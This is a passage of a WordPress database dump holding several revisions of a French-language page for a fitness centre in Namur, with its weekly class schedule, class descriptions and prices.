15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:05:20', '2014-01-18 19:05:20', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(415, 1, '2014-01-18 19:07:15', '2014-01-18 19:07:15', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:07:15', '2014-01-18 19:07:15', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(417, 1, '2014-01-18 19:08:19', '2014-01-18 19:08:19', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:08:19', '2014-01-18 19:08:19', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(416, 1, '2014-01-18 19:07:48', '2014-01-18 19:07:48', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td 